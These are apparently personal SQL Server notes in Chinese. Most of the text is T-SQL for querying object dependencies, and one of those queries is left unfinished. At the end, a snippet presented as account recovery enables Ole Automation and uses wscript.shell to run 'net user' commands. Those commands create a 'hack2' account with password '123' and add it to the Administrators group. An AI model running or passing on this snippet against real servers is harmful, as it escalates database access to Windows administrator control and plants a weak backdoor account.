--查询指定对象引用的对象或列，如存储过程引用的表
SELECT OBJECT_NAME(referencing_id) AS referencing_entity_name, 
    o.type_desc AS referencing_desciption, 
    COALESCE(COL_NAME(referencing_id, referencing_minor_id), '(n/a)') AS referencing_minor_id, 
    referencing_class_desc,
    referenced_server_name, referenced_database_name, referenced_schema_name,
    referenced_entity_name, 
    COALESCE(COL_NAME(referenced_id, referenced_minor_id), '(n/a)') AS referenced_column_name,
    is_caller_dependent, is_ambiguous
FROM sys.sql_expression_dependencies AS sed
INNER JOIN sys.objects AS o ON sed.referencing_id = o.object_id
WHERE referencing_id = OBJECT_ID(N'bdorder_sel');

--查询引用指定对象的对象，如引用某表的存储过程
SELECT OBJECT_SCHEMA_NAME ( referencing_id ) AS referencing_schema_name,
    OBJECT_NAME(referencing_id) AS referencing_entity_name, 
    o.type_desc AS referencing_desciption, 
    COALESCE(COL_NAME(referencing_id, referencing_minor_id), '(n/a)') AS referencing_minor_id, 
    referencing_class_desc, referenced_class_desc,
    referenced_server_name, referenced_database_name, referenced_schema_name,
    referenced_entity_name, 
    COALESCE(COL_NAME(referenced_id, referenced_minor_id), '(n/a)') AS referenced_column_name,
    is_caller_dependent, is_ambiguous
FROM sys.sql_expression_dependencies AS sed
INNER JOIN sys.objects AS o ON sed.referencing_id = o.object_id
WHERE referenced_id = OBJECT_ID(N'dbo.bdorder');


--查询引用其它数据库的对象,连接服务器

SELECT OBJECT_NAME (referencing_id),referenced_server_name,referenced_database_name,

sys.sql_expression_dependencies

sqlserver的sa密码记得，但windows的忘记了，通过如下方法增加windows权限账号。

EXEC [sys].[sp_configure] @configname = 'show advanced options', -- varchar(35)
@configvalue = 1 -- int
RECONFIGURE WITH override
GO
--如果没有就开启
EXEC [sys].[sp_configure] @configname = 'Ole Automation Procedures', -- varchar(35)
@configvalue = 1 -- int
RECONFIGURE WITH override
GO

--添加一个hack用户，所属用户组为Administrators
DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user hack2 123 /add'
EXEC SP_OAMETHOD @shell,'run',null, 'net localgroup Administrators hack2 /add'